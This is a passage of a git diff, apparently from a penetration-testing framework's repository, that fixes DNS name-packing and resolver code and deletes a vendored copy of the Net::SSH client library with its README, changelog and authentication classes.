URI::InvalidURIError - return json - end - - parse_json(res.body) - end - - def parse_json(body) - buf = {} - - begin - buf = JSON.parse(body) - rescue JSON::ParserError - end - - buf - end - - end -end diff --git a/lib/net/dns/names/names.rb b/lib/net/dns/names/names.rb index d65c8bf293..b483368877 100644 --- a/lib/net/dns/names/names.rb +++ b/lib/net/dns/names/names.rb @@ -46,12 +46,15 @@ module Net # :nodoc: end def pack_name(name) - if name.size > 63 - raise ArgumentError, "Label data cannot exceed 63 chars" + if name.size > 255 + raise ArgumentError, "Name data cannot exceed 255 chars" end arr = name.split(".") str = "" arr.each do |elem| + if elem.size > 63 + raise ArgumentError, "Label data cannot exceed 63 chars" + end str += [elem.size,elem].pack("Ca*") end str += [0].pack("C") diff --git a/lib/net/dns/resolver.rb b/lib/net/dns/resolver.rb index 719742de67..8d2b46165b 100644 --- a/lib/net/dns/resolver.rb +++ b/lib/net/dns/resolver.rb @@ -1031,8 +1031,9 @@ module Net # :nodoc: @logger.info "Received #{ans[0].size} bytes from #{ans[1][2]+":"+ans[1][1].to_s}" begin - response = Net::DNS::Packet.parse(ans[0],ans[1]) - if response && response.answer && response.answer[0] && response.answer[0].type == "SOA" + return unless (response = Net::DNS::Packet.parse(ans[0],ans[1])) + return if response.answer.empty? + if response.answer[0].type == "SOA" soa += 1 if soa >= 2 break @@ -1214,6 +1215,7 @@ module Net # :nodoc: end if block_given? yield [buffer,["",@config[:port],ns.to_s,ns.to_s]] + break else return [buffer,["",@config[:port],ns.to_s,ns.to_s]] end diff --git a/lib/net/dns/rr.rb b/lib/net/dns/rr.rb index 7183f95657..c6cca85d14 100644 --- a/lib/net/dns/rr.rb +++ b/lib/net/dns/rr.rb @@ -8,7 +8,7 @@ require 'net/dns/rr/types' require 'net/dns/rr/classes' -%w[a ns mx cname txt soa ptr aaaa mr srv].each do |file| +%w[a ns mx cname txt hinfo soa ptr aaaa mr srv].each do |file| require "net/dns/rr/#{file}" end diff --git a/lib/net/dns/rr/hinfo.rb b/lib/net/dns/rr/hinfo.rb index 4de7f22524..ce84fd8e54 100644 --- a/lib/net/dns/rr/hinfo.rb +++ b/lib/net/dns/rr/hinfo.rb @@ -62,7 +62,7 @@ module Net len = data.unpack("@#{offset} C")[0] @cpu = data[offset+1..offset+1+len] offset += len+1 - len = @data.unpack("@#{offset} C")[0] + len = data.unpack("@#{offset} C")[0] @os = data[offset+1..offset+1+len] return offset += len+1 end diff --git a/lib/net/ssh.rb b/lib/net/ssh.rb deleted file mode 100644 index 9a24323229..0000000000 --- a/lib/net/ssh.rb +++ /dev/null @@ -1,232 +0,0 @@ -# -*- coding: binary -*- -require 'rex/socket' - -# Make sure HOME is set, regardless of OS, so that File.expand_path works -# as expected with tilde characters. -ENV['HOME'] ||= ENV['HOMEPATH'] ? "#{ENV['HOMEDRIVE']}#{ENV['HOMEPATH']}" : "." - -require 'logger' - -require 'net/ssh/config' -require 'net/ssh/errors' -require 'net/ssh/loggable' -require 'net/ssh/transport/session' -require 'net/ssh/authentication/session' -require 'net/ssh/connection/session' -require 'net/ssh/command_stream' -require 'net/ssh/utils' - -module Net - - # Net::SSH is a library for interacting, programmatically, with remote - # processes via the SSH2 protocol. Sessions are always initiated via - # Net::SSH.start. From there, a program interacts with the new SSH session - # via the convenience methods on Net::SSH::Connection::Session, by opening - # and interacting with new channels (Net::SSH::Connection:Session#open_channel - # and Net::SSH::Connection::Channel), or by forwarding local and/or - # remote ports through the connection (Net::SSH::Service::Forward). - # - # The SSH protocol is very event-oriented. Requests are sent from the client - # to the server, and are answered asynchronously. This gives great flexibility - # (since clients can have multiple requests pending at a time), but it also - # adds complexity. Net::SSH tries to manage this complexity by providing - # some simpler methods of synchronous communication (see Net::SSH::Connection::Session#exec!). - # - # In general, though, and if you want to do anything more complicated than - # simply executing commands and capturing their output, you'll need to use - # channels (Net::SSH::Connection::Channel) to build state machines that are - # executed while the event loop runs (Net::SSH::Connection::Session#loop). - # - # Net::SSH::Connection::Session and Net::SSH::Connection::Channel have more - # information about this technique. - # - # = "Um, all I want to do is X, just show me how!" - # - # == X == "execute a command and capture the output" - # - # Net::SSH.start("host", "user", :password => "password") do |ssh| - # result = ssh.exec!("ls -l") - # puts result - # end - # - # == X == "forward connections on a local port to a remote host" - # - # Net::SSH.start("host", "user", :password => "password") do |ssh| - # ssh.forward.local(1234, "www.google.com", 80) - # ssh.loop { true } - # end - # - # == X == "forward connections on a remote port to the local host" - # - # Net::SSH.start("host", "user", :password => "password") do |ssh| - # ssh.forward.remote(80, "www.google.com", 1234) - # ssh.loop { true } - # end - module SSH - # This is the set of options that Net::SSH.start recognizes. See - # Net::SSH.start for a description of each option. - VALID_OPTIONS = [ - :auth_methods, :compression, :compression_level, :config, :encryption, - :forward_agent, :hmac, :host_key, :kex, :keys, :key_data, :languages, - :logger, :paranoid, :password, :port, :proxy, :rekey_blocks_limit, - :rekey_limit, :rekey_packet_limit, :timeout, :verbose, - :global_known_hosts_file, :user_known_hosts_file, :host_key_alias, - :host_name, :user, :properties, :passphrase, :msframework, :msfmodule, - :record_auth_info, :skip_private_keys, :accepted_key_callback, :disable_agent, - :proxies - ] - - # The standard means of starting a new SSH connection. When used with a - # block, the connection will be closed when the block terminates, otherwise - # the connection will just be returned. The yielded (or returned) value - # will be an instance of Net::SSH::Connection::Session (q.v.). (See also - # Net::SSH::Connection::Channel and Net::SSH::Service::Forward.) - # - # Net::SSH.start("host", "user") do |ssh| - # ssh.exec! "cp /some/file /another/location" - # hostname = ssh.exec!("hostname") - # - # ssh.open_channel do |ch| - # ch.exec "sudo -p 'sudo password: ' ls" do |ch, success| - # abort "could not execute sudo ls" unless success - # - # ch.on_data do |ch, data| - # print data - # if data =~ /sudo password: / - # ch.send_data("password\n") - # end - # end - # end - # end - # - # ssh.loop - # end - # - # This method accepts the following options (all are optional): - # - # * :auth_methods => an array of authentication methods to try - # * :compression => the compression algorithm to use, or +true+ to use - # whatever is supported. - # * :compression_level => the compression level to use when sending data - # * :config => set to +true+ to load the default OpenSSH config files - # (~/.ssh/config, /etc/ssh_config), or to +false+ to not load them, or to - # a file-name (or array of file-names) to load those specific configuration - # files. Defaults to +true+. - # * :encryption => the encryption cipher (or ciphers) to use - # * :forward_agent => set to true if you want the SSH agent connection to - # be forwarded - # * :global_known_hosts_file => the location of the global known hosts - # file. Set to an array if you want to specify multiple global known - # hosts files. Defaults to %w(/etc/ssh/known_hosts /etc/ssh/known_hosts2). - # * :hmac => the hmac algorithm (or algorithms) to use - # * :host_key => the host key algorithm (or algorithms) to use - # * :host_key_alias => the host name to use when looking up or adding a - # host to a known_hosts dictionary file - # * :host_name => the real host name or IP to log into. This is used - # instead of the +host+ parameter, and is primarily only useful when - # specified in an SSH configuration file. It lets you specify an - # "alias", similarly to adding an entry in /etc/hosts but without needing - # to modify /etc/hosts. - # * :kex => the key exchange algorithm (or algorithms) to use - # * :keys => an array of file names of private keys to use for publickey - # and hostbased authentication - # * :key_data => an array of strings, with each element of the array being - # a raw private key in PEM format. - # * :logger => the logger instance to use when logging - # * :paranoid => either true, false, or :very, specifying how strict - # host-key verification should be - # * :passphrase => the passphrase to use when loading a private key (default - # is +nil+, for no passphrase) - # * :password => the password to use to login - # * :port => the port to use when connecting to the remote host - # * :properties => a hash of key/value pairs to add to the new connection's - # properties (see Net::SSH::Connection::Session#properties) - # * :proxy => a proxy instance (see Proxy) to use when connecting - # * :rekey_blocks_limit => the max number of blocks to process before rekeying - # * :rekey_limit => the max number of bytes to process before rekeying - # * :rekey_packet_limit => the max number of packets to process before rekeying - # * :timeout => how long to wait for the initial connection to be made - # * :user => the user name to log in as; this overrides the +user+ - # parameter, and is primarily only useful when provided via an SSH - # configuration file. - # * :user_known_hosts_file => the location of the user known hosts file. - # Set to an array to specify multiple user known hosts files. - # Defaults to %w(~/.ssh/known_hosts ~/.ssh/known_hosts2). - # * :verbose => how verbose to be (Logger verbosity constants, Logger::DEBUG - # is very verbose, Logger::FATAL is all but silent). Logger::FATAL is the - # default. The symbols :debug, :info, :warn, :error, and :fatal are also - # supported and are translated to the corresponding Logger constant. - def self.start(host, user, options={}, &block) - invalid_options = options.keys - VALID_OPTIONS - if invalid_options.any? - raise ArgumentError, "invalid option(s): #{invalid_options.join(', ')}" - end - - options[:user] = user if user - options = configuration_for(host, options.fetch(:config, true)).merge(options) - host = options.fetch(:host_name, host) - - if !options.key?(:logger) - options[:logger] = Logger.new(STDERR) - options[:logger].level = Logger::FATAL - end - - if options[:verbose] - options[:logger].level = case options[:verbose] - when Fixnum then options[:verbose] - when :debug then Logger::DEBUG - when :info then Logger::INFO - when :warn then Logger::WARN - when :error then Logger::ERROR - when :fatal then Logger::FATAL - else raise ArgumentError, "can't convert #{options[:verbose].inspect} to any of the Logger level constants" - end - end - - transport = Transport::Session.new(host, options) - auth = Authentication::Session.new(transport, options) - - user = options.fetch(:user, user) - if auth.authenticate("ssh-connection", user, options[:password]) - connection = Connection::Session.new(transport, options) - connection.auth_info = auth.auth_info - - # Tell MSF not to auto-close this socket anymore... - # This allows the transport socket to surive with the session. - if options[:msfmodule] - options[:msfmodule].remove_socket(transport.socket) - end - - if block_given? - yield connection - connection.close - else - return connection - end - else - transport.close - raise AuthenticationFailed, user - end - end - - # Returns a hash of the configuration options for the given host, as read - # from the SSH configuration file(s). If +use_ssh_config+ is true (the - # default), this will load configuration from both ~/.ssh/config and - # /etc/ssh_config. If +use_ssh_config+ is nil or false, nothing will be - # loaded (and an empty hash returned). Otherwise, +use_ssh_config+ may - # be a file name (or array of file names) of SSH configuration file(s) - # to read. - # - # See Net::SSH::Config for the full description of all supported options. - def self.configuration_for(host, use_ssh_config=true) - files = case use_ssh_config - when true then Net::SSH::Config.default_files - when false, nil then return {} - else Array(use_ssh_config) - end - - Net::SSH::Config.for(host, files) - end - end -end - diff --git a/lib/net/ssh/CHANGELOG.rdoc b/lib/net/ssh/CHANGELOG.rdoc deleted file mode 100644 index 95fb02f9b7..0000000000 --- a/lib/net/ssh/CHANGELOG.rdoc +++ /dev/null @@ -1,132 +0,0 @@ -=== (unreleased) - -* Use unbuffered reads when negotiating the protocol version [Steven Hazel] - - -=== 2.0.11 / 24 Feb 2009 - -* Add :key_data option for specifying raw private keys in PEM format [Alex Holems, Andrew Babkin] - - -=== 2.0.10 / 4 Feb 2009 - -* Added Net::SSH.configuration_for to make it easier to query the SSH configuration file(s) [Jamis Buck] - - -=== 2.0.9 / 1 Feb 2009 - -* Specifying non-nil user argument overrides user in .ssh/config [Jamis Buck] - -* Ignore requests for non-existent channels (workaround ssh server bug) [Jamis Buck] - -* Add terminate! method for hard shutdown scenarios [Jamis Buck] - -* Revert to pre-2.0.7 key-loading behavior by default, but load private-key if public-key doesn't exist [Jamis Buck] - -* Make sure :passphrase option gets passed to key manager [Bob Cotton] - - -=== 2.0.8 / 29 December 2008 - -* Fix private key change from 2.0.7 so that keys are loaded just-in-time, avoiding unecessary prompts from encrypted keys. [Jamis Buck] - - -=== 2.0.7 / 29 December 2008 - -* Make key manager use private keys instead of requiring public key to exist [arilerner@mac.com] - -* Fix failing tests [arilerner@mac.com] - -* Don't include pageant when running under JRuby [Angel N. Sciortino] - - -=== 2.0.6 / 6 December 2008 - -* Update the Manifest file so that the gem includes all necessary files [Jamis Buck] - - -=== 2.0.5 / 6 December 2008 - -* Make the Pageant interface comply with more of the Socket interface to avoid related errors [Jamis Buck] - -* Don't busy-wait on session close for remaining channels to close [Will Bryant] - -* Ruby 1.9 compatibility [Jamis Buck] - -* Fix Cipher#final to correctly flag a need for a cipher reset [Jamis Buck] - - -=== 2.0.4 / 27 Aug 2008 - -* Added Connection::Session#closed? and Transport::Session#closed? [Jamis Buck] - -* Numeric host names in .ssh/config are now parsed correct [Yanko Ivanov] - -* Make sure the error raised when a public key file is malformed is more informative than a MethodMissing error [Jamis Buck] - -* Cipher#reset is now called after Cipher#final, with the last n bytes used as the next initialization vector [Jamis Buck] - - -=== 2.0.3 / 27 Jun 2008 - -* Make Net::SSH::Version comparable [Brian Candler] - -* Fix errors in port forwarding when a channel could not be opened due to a typo in the exception name [Matthew Todd] - -* Use #chomp instead of #strip when cleaning the version string reported by the remote host, so that trailing whitespace is preserved (this is to play nice with servers like Mocana SSH) [Timo Gatsonides] - -* Correctly parse ssh_config entries with eq-sign delimiters [Jamis Buck] - -* Ignore malformed ssh_config entries [Jamis Buck] - -=== 2.0.2 / 29 May 2008 - -* Make sure the agent client understands both RSA "identities answers" [Jamis Buck] - -* Fixed key truncation bug that caused hmacs other than SHA1 to fail with "corrupt hmac" errors [Jamis Buck] - -* Fix detection and loading of public keys when the keys don't actually exist [David Dollar] - - -=== 2.0.1 / 5 May 2008 - -* Teach Net::SSH about a handful of default key names [Jamis Buck] - - -=== 2.0.0 / 1 May 2008 - -* Allow the :verbose argument to accept symbols (:debug, etc.) as well as Logger level constants (Logger::DEBUG, etc.) [Jamis Buck] - - -=== 2.0 Preview Release 4 (1.99.3) / 19 Apr 2008 - -* Make sure HOME is set to something sane, even on OS's that don't set it by default [Jamis Buck] - -* Add a :passphrase option to specify the passphrase to use with private keys [Francis Sullivan] - -* Open a new auth agent connection for every auth-agent channel request [Jamis Buck] - - -=== 2.0 Preview Release 3 (1.99.2) / 10 Apr 2008 - -* Session properties [Jamis Buck] - -* Make channel open failure work with a callback so that failures can be handled similarly to successes [Jamis Buck] - - -=== 2.0 Preview Release 2 (1.99.1) / 22 Mar 2008 - -* Partial support for ~/.ssh/config (and related) SSH configuration files [Daniel J. Berger, Jamis Buck] - -* Added Net::SSH::Test to facilitate testing complex SSH state machines [Jamis Buck] - -* Reworked Net::SSH::Prompt to use conditionally-selected modules [Jamis Buck, suggested by James Rosen] - -* Added Channel#eof? and Channel#eof! [Jamis Buck] - -* Fixed bug in strict host key verifier on cache miss [Mike Timm] - - -=== 2.0 Preview Release 1 (1.99.0) / 21 Aug 2007 - -* First preview release of Net::SSH v2 diff --git a/lib/net/ssh/README.rdoc b/lib/net/ssh/README.rdoc deleted file mode 100644 index 3b7c16553b..0000000000 --- a/lib/net/ssh/README.rdoc +++ /dev/null @@ -1,110 +0,0 @@ -= Net::SSH - -* http://net-ssh.rubyforge.org/ssh - -== DESCRIPTION: - -Net::SSH is a pure-Ruby implementation of the SSH2 client protocol. It allows you to write programs that invoke and interact with processes on remote servers, via SSH2. - -== FEATURES: - -* Execute processes on remote servers and capture their output -* Run multiple processes in parallel over a single SSH connection -* Support for SSH subsystems -* Forward local and remote ports via an SSH connection - -== SYNOPSIS: - -In a nutshell: - - require 'net/ssh' - - Net::SSH.start('host', 'user', :password => "password") do |ssh| - # capture all stderr and stdout output from a remote process - output = ssh.exec!("hostname") - - # capture only stdout matching a particular pattern - stdout = "" - ssh.exec!("ls -l /home/jamis") do |channel, stream, data| - stdout << data if stream == :stdout - end - puts stdout - - # run multiple processes in parallel to completion - ssh.exec "sed ..." - ssh.exec "awk ..." - ssh.exec "rm -rf ..." - ssh.loop - - # open a new channel and configure a minimal set of callbacks, then run - # the event loop until the channel finishes (closes) - channel = ssh.open_channel do |ch| - ch.exec "/usr/local/bin/ruby /path/to/file.rb" do |ch, success| - raise "could not execute command" unless success - - # "on_data" is called when the process writes something to stdout - ch.on_data do |c, data| - $STDOUT.print data - end - - # "on_extended_data" is called when the process writes something to stderr - ch.on_extended_data do |c, type, data| - $STDERR.print data - end - - ch.on_close { puts "done!" } - end - end - - channel.wait - - # forward connections on local port 1234 to port 80 of www.capify.org - ssh.forward.local(1234, "www.capify.org", 80) - ssh.loop { true } - end - -See Net::SSH for more documentation, and links to further information. - -== REQUIREMENTS: - -The only requirement you might be missing is the OpenSSL bindings for Ruby. These are built by default on most platforms, but you can verify that they're built and installed on your system by running the following command line: - - ruby -ropenssl -e 'puts OpenSSL::OPENSSL_VERSION' - -If that spits out something like "OpenSSL 0.9.8g 19 Oct 2007", then you're set. If you get an error, then you'll need to see about rebuilding ruby with OpenSSL support, or (if your platform supports it) installing the OpenSSL bindings separately. - -Additionally: if you are going to be having Net::SSH prompt you for things like passwords or certificate passphrases, you'll want to have either the Highline (recommended) or Termios (unix systems only) gem installed, so that the passwords don't echo in clear text. - -Lastly, if you want to run the tests or use any of the Rake tasks, you'll need: - -* Echoe (for the Rakefile) -* Mocha (for the tests) - -== INSTALL: - -* gem install net-ssh (might need sudo privileges) - -== LICENSE: - -(The MIT License) - -Copyright (c) 2008 Jamis Buck - -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -'Software'), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, -TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE -SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/net/ssh/THANKS.rdoc b/lib/net/ssh/THANKS.rdoc deleted file mode 100644 index d060dce6dd..0000000000 --- a/lib/net/ssh/THANKS.rdoc +++ /dev/null @@ -1,16 +0,0 @@ -Net::SSH was originally written by Jamis Buck . In -addition, the following individuals are gratefully acknowledged for their -contributions: - -GOTOU Yuuzou - * help and code related to OpenSSL - -Guillaume Marçais - * support for communicating with the the PuTTY "pageant" process - -Daniel Berger - * help getting unit tests in earlier Net::SSH versions to pass in Windows - * initial version of Net::SSH::Config provided inspiration and encouragement - -Chris Andrews and Lee Jensen - * support for ssh agent forwarding diff --git a/lib/net/ssh/authentication/agent.rb b/lib/net/ssh/authentication/agent.rb deleted file mode 100644 index 8193991437..0000000000 --- a/lib/net/ssh/authentication/agent.rb +++ /dev/null @@ -1,181 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/buffer' -require 'net/ssh/errors' -require 'net/ssh/loggable' -require 'net/ssh/transport/server_version' - -# Disable pageant, as it uses DL in a non-1.9 compatible way -=begin -require 'net/ssh/authentication/pageant' if File::ALT_SEPARATOR && !(RUBY_PLATFORM =~ /java/) -=end - -module Net; module SSH; module Authentication - - # A trivial exception class for representing agent-specific errors. - class AgentError < Net::SSH::Exception; end - - # An exception for indicating that the SSH agent is not available. - class AgentNotAvailable < AgentError; end - - # This class implements a simple client for the ssh-agent protocol. It - # does not implement any specific protocol, but instead copies the - # behavior of the ssh-agent functions in the OpenSSH library (3.8). - # - # This means that although it behaves like a SSH1 client, it also has - # some SSH2 functionality (like signing data). - class Agent - include Loggable - - # A simple module for extending keys, to allow comments to be specified - # for them. - module Comment - attr_accessor :comment - end - - SSH2_AGENT_REQUEST_VERSION = 1 - SSH2_AGENT_REQUEST_IDENTITIES = 11 - SSH2_AGENT_IDENTITIES_ANSWER = 12 - SSH2_AGENT_SIGN_REQUEST = 13 - SSH2_AGENT_SIGN_RESPONSE = 14 - SSH2_AGENT_FAILURE = 30 - SSH2_AGENT_VERSION_RESPONSE = 103 - - SSH_COM_AGENT2_FAILURE = 102 - - SSH_AGENT_REQUEST_RSA_IDENTITIES = 1 - SSH_AGENT_RSA_IDENTITIES_ANSWER1 = 2 - SSH_AGENT_RSA_IDENTITIES_ANSWER2 = 5 - SSH_AGENT_FAILURE = 5 - - # The underlying socket being used to communicate with the SSH agent. - attr_reader :socket - - # Instantiates a new agent object, connects to a running SSH agent, - # negotiates the agent protocol version, and returns the agent object. - def self.connect(logger=nil) - agent = new(logger) - agent.connect! - agent.negotiate! - agent - end - - # Creates a new Agent object, using the optional logger instance to - # report status. - def initialize(logger=nil) - self.logger = logger - end - - # Connect to the agent process using the socket factory and socket name - # given by the attribute writers. If the agent on the other end of the - # socket reports that it is an SSH2-compatible agent, this will fail - # (it only supports the ssh-agent distributed by OpenSSH). - def connect! - begin - debug { "connecting to ssh-agent" } - @socket = agent_socket_factory.open(ENV['SSH_AUTH_SOCK']) - rescue - error { "could not connect to ssh-agent" } - raise AgentNotAvailable, $!.message - end - end - - # Attempts to negotiate the SSH agent protocol version. Raises an error - # if the version could not be negotiated successfully. - def negotiate! - # determine what type of agent we're communicating with - type, body = send_and_wait(SSH2_AGENT_REQUEST_VERSION, :string, Transport::ServerVersion::PROTO_VERSION) - - if type == SSH2_AGENT_VERSION_RESPONSE - raise NotImplementedError, "SSH2 agents are not yet supported" - elsif type != SSH_AGENT_RSA_IDENTITIES_ANSWER1 && type != SSH_AGENT_RSA_IDENTITIES_ANSWER2 - raise AgentError, "unknown response from agent: #{type}, #{body.to_s.inspect}" - end - end - - # Return an array of all identities (public keys) known to the agent. - # Each key returned is augmented with a +comment+ property which is set - # to the comment returned by the agent for that key. - def identities - type, body = send_and_wait(SSH2_AGENT_REQUEST_IDENTITIES) - raise AgentError, "could not get identity count" if agent_failed(type) - raise AgentError, "bad authentication reply: #{type}" if type != SSH2_AGENT_IDENTITIES_ANSWER - - identities = [] - body.read_long.times do - key = Buffer.new(body.read_string).read_key - key.extend(Comment) - key.comment = body.read_string - identities.push key - end - - return identities - end - - # Closes this socket. This agent reference is no longer able to - # query the agent. - def close - @socket.close - end - - # Using the agent and the given public key, sign the given data. The - # signature is returned in SSH2 format. - def sign(key, data) - type, reply = send_and_wait(SSH2_AGENT_SIGN_REQUEST, :string, Buffer.from(:key, key), :string, data, :long, 0) - - if agent_failed(type) - raise AgentError, "agent could not sign data with requested identity" - elsif type != SSH2_AGENT_SIGN_RESPONSE - raise AgentError, "bad authentication response #{type}" - end - - return reply.read_string - end - - private - - # Returns the agent socket factory to use. - def agent_socket_factory - if File::ALT_SEPARATOR - Pageant::Socket - else - UNIXSocket - end - end - - # Send a new packet of the given type, with the associated data. - def send_packet(type, *args) - buffer = Buffer.from(*args) - data = [buffer.length + 1, type.to_i, buffer.to_s].pack("NCA*") - debug { "sending agent request #{type} len #{buffer.length}" } - @socket.send data, 0 - end - - # Read the next packet from the agent. This will return a two-part - # tuple consisting of the packet type, and the packet's body (which - # is returned as a Net::SSH::Buffer). - def read_packet - buffer = Net::SSH::Buffer.new(@socket.read(4)) - buffer.append(@socket.read(buffer.read_long)) - type = buffer.read_byte - debug { "received agent packet #{type} len #{buffer.length-4}" } - return type, buffer - end - - # Send the given packet and return the subsequent reply from the agent. - # (See #send_packet and #read_packet). - def send_and_wait(type, *args) - send_packet(type, *args) - read_packet - end - - # Returns +true+ if the parameter indicates a "failure" response from - # the agent, and +false+ otherwise. - def agent_failed(type) - type == SSH_AGENT_FAILURE || - type == SSH2_AGENT_FAILURE || - type == SSH_COM_AGENT2_FAILURE - end - end - -end; end; end - diff --git a/lib/net/ssh/authentication/constants.rb b/lib/net/ssh/authentication/constants.rb deleted file mode 100644 index 387c78fca7..0000000000 --- a/lib/net/ssh/authentication/constants.rb +++ /dev/null @@ -1,19 +0,0 @@ -# -*- coding: binary -*- -module Net; module SSH; module Authentication - - # Describes the constants used by the Net::SSH::Authentication components - # of the Net::SSH library. Individual authentication method implemenations - # may define yet more constants that are specific to their implementation. - module Constants - USERAUTH_REQUEST = 50 - USERAUTH_FAILURE = 51 - USERAUTH_SUCCESS = 52 - USERAUTH_BANNER = 53 - - USERAUTH_PASSWD_CHANGEREQ = 60 - USERAUTH_PK_OK = 60 - - USERAUTH_METHOD_RANGE = 60..79 - end - -end; end; end diff --git a/lib/net/ssh/authentication/key_manager.rb b/lib/net/ssh/authentication/key_manager.rb deleted file mode 100644 index 20efaa8a63..0000000000 --- a/lib/net/ssh/authentication/key_manager.rb +++ /dev/null @@ -1,201 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/errors' -require 'net/ssh/key_factory' -require 'net/ssh/loggable' -require 'net/ssh/authentication/agent' - -module Net - module SSH - module Authentication - - # A trivial exception class used to report errors in the key manager. - class KeyManagerError < Net::SSH::Exception; end - - # This class encapsulates all operations done by clients on a user's - # private keys. In practice, the client should never need a reference - # to a private key; instead, they grab a list of "identities" (public - # keys) that are available from the KeyManager, and then use - # the KeyManager to do various private key operations using those - # identities. - # - # The KeyManager also uses the Agent class to encapsulate the - # ssh-agent. Thus, from a client's perspective it is completely - # hidden whether an identity comes from the ssh-agent or from a file - # on disk. - class KeyManager - include Loggable - - # The list of user key files that will be examined - attr_reader :key_files - - # The list of user key data that will be examined - attr_reader :key_data - - # The map of loaded identities - attr_reader :known_identities - - # The map of options that were passed to the key-manager - attr_reader :options - - # Create a new KeyManager. By default, the manager will - # use the ssh-agent (if it is running). - def initialize(logger, options={}) - self.logger = logger - @key_files = [] - @key_data = [] - @use_agent = true - @known_identities = {} - @agent = nil - @options = options - end - - # Clear all knowledge of any loaded user keys. This also clears the list - # of default identity files that are to be loaded, thus making it - # appropriate to use if a client wishes to NOT use the default identity - # files. - def clear! - key_files.clear - key_data.clear - known_identities.clear - self - end - - # Add the given key_file to the list of key files that will be used. - def add(key_file) - key_files.push(File.expand_path(key_file)).uniq! - self - end - - # Add the given key_file to the list of keys that will be used. - def add_key_data(key_data_) - key_data.push(key_data_).uniq! - self - end - - # This is used as a hint to the KeyManager indicating that the agent - # connection is no longer needed. Any other open resources may be closed - # at this time. - # - # Calling this does NOT indicate that the KeyManager will no longer - # be used. Identities may still be requested and operations done on - # loaded identities, in which case, the agent will be automatically - # reconnected. This method simply allows the client connection to be - # closed when it will not be used in the immediate future. - def finish - @agent.close if @agent - @agent = nil - end - - # Iterates over all available identities (public keys) known to this - # manager. As it finds one, it will then yield it to the caller. - # The origin of the identities may be from files on disk or from an - # ssh-agent. Note that identities from an ssh-agent are always listed - # first in the array, with other identities coming after. - def each_identity - if agent - agent.identities.each do |key| - known_identities[key] = { :from => :agent } - yield key - end - end - - key_files.each do |file| - public_key_file = file + ".pub" - if File.readable?(public_key_file) - begin - key = KeyFactory.load_public_key(public_key_file) - known_identities[key] = { :from => :file, :file => file } - yield key - rescue Exception => e - error { "could not load public key file `#{public_key_file}': #{e.class} (#{e.message})" } - end - elsif File.readable?(file) - begin - private_key = KeyFactory.load_private_key(file, options[:passphrase]) - key = private_key.send(:public_key) - known_identities[key] = { :from => :file, :file => file, :key => private_key } - yield key - rescue Exception => e - error { "could not load private key file `#{file}': #{e.class} (#{e.message})" } - end - end - end - - key_data.each do |data| - if @options[:skip_private_keys] - key = KeyFactory.load_data_public_key(data) - known_identities[key] = { :from => :key_data, :data => data } - yield key - else - private_key = KeyFactory.load_data_private_key(data) - key = private_key.send(:public_key) - known_identities[key] = { :from => :key_data, :data => data, :key => private_key } - yield key - end - end - - self - end - - # Sign the given data, using the corresponding private key of the given - # identity. If the identity was originally obtained from an ssh-agent, - # then the ssh-agent will be used to sign the data, otherwise the - # private key for the identity will be loaded from disk (if it hasn't - # been loaded already) and will then be used to sign the data. - # - # Regardless of the identity's origin or who does the signing, this - # will always return the signature in an SSH2-specified "signature - # blob" format. - def sign(identity, data) - info = known_identities[identity] or raise KeyManagerError, "the given identity is unknown to the key manager" - - if info[:key].nil? && info[:from] == :file - begin - info[:key] = KeyFactory.load_private_key(info[:file], options[:passphrase]) - rescue Exception => e - raise KeyManagerError, "the given identity is known, but the private key could not be loaded: #{e.class} (#{e.message})" - end - end - - if info[:key] - return Net::SSH::Buffer.from(:string, identity.ssh_type, - :string, info[:key].ssh_do_sign(data.to_s)).to_s - end - - if info[:from] == :agent - raise KeyManagerError, "the agent is no longer available" unless agent - return agent.sign(identity, data.to_s) - end - - raise KeyManagerError, "[BUG] can't determine identity origin (#{info.inspect})" - end - - # Identifies whether the ssh-agent will be used or not. - def use_agent? - return false if @options[:disable_agent] - @use_agent - end - - # Toggles whether the ssh-agent will be used or not. If true, an - # attempt will be made to use the ssh-agent. If false, any existing - # connection to an agent is closed and the agent will not be used. - def use_agent=(use_agent) - finish if !use_agent - @use_agent = use_agent - end - - # Returns an Agent instance to use for communicating with an SSH - # agent process. Returns nil if use of an SSH agent has been disabled, - # or if the agent is otherwise not available. - def agent - return unless use_agent? - @agent ||= Agent.connect(logger) - rescue AgentNotAvailable - @use_agent = false - nil - end - end - - end - end -end diff --git a/lib/net/ssh/authentication/methods/abstract.rb b/lib/net/ssh/authentication/methods/abstract.rb deleted file mode 100644 index 794d75bf2d..0000000000 --- a/lib/net/ssh/authentication/methods/abstract.rb +++ /dev/null @@ -1,61 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/buffer' -require 'net/ssh/errors' -require 'net/ssh/loggable' -require 'net/ssh/authentication/constants' - -module Net; module SSH; module Authentication; module Methods - - # The base class of all user authentication methods. It provides a few - # bits of common functionality. - class Abstract - include Constants, Loggable - - # The authentication session object - attr_reader :session - - # The key manager object. Not all authentication methods will require - # this. - attr_reader :key_manager - - # Instantiates a new authentication method. - def initialize(session, options={}) - @session = session - @key_manager = options[:key_manager] - @options = options - self.logger = session.logger - end - - # Returns the session-id, as generated during the first key exchange of - # an SSH connection. - def session_id - session.transport.algorithms.session_id - end - - # Sends a message via the underlying transport layer abstraction. This - # will block until the message is completely sent. - def send_message(msg) - session.transport.send_message(msg) - end - - # Creates a new USERAUTH_REQUEST packet. The extra arguments on the end - # must be either boolean values or strings, and are tacked onto the end - # of the packet. The new packet is returned, ready for sending. - def userauth_request(username, next_service, auth_method, *others) - buffer = Net::SSH::Buffer.from(:byte, USERAUTH_REQUEST, - :string, username, :string, next_service, :string, auth_method) - - others.each do |value| 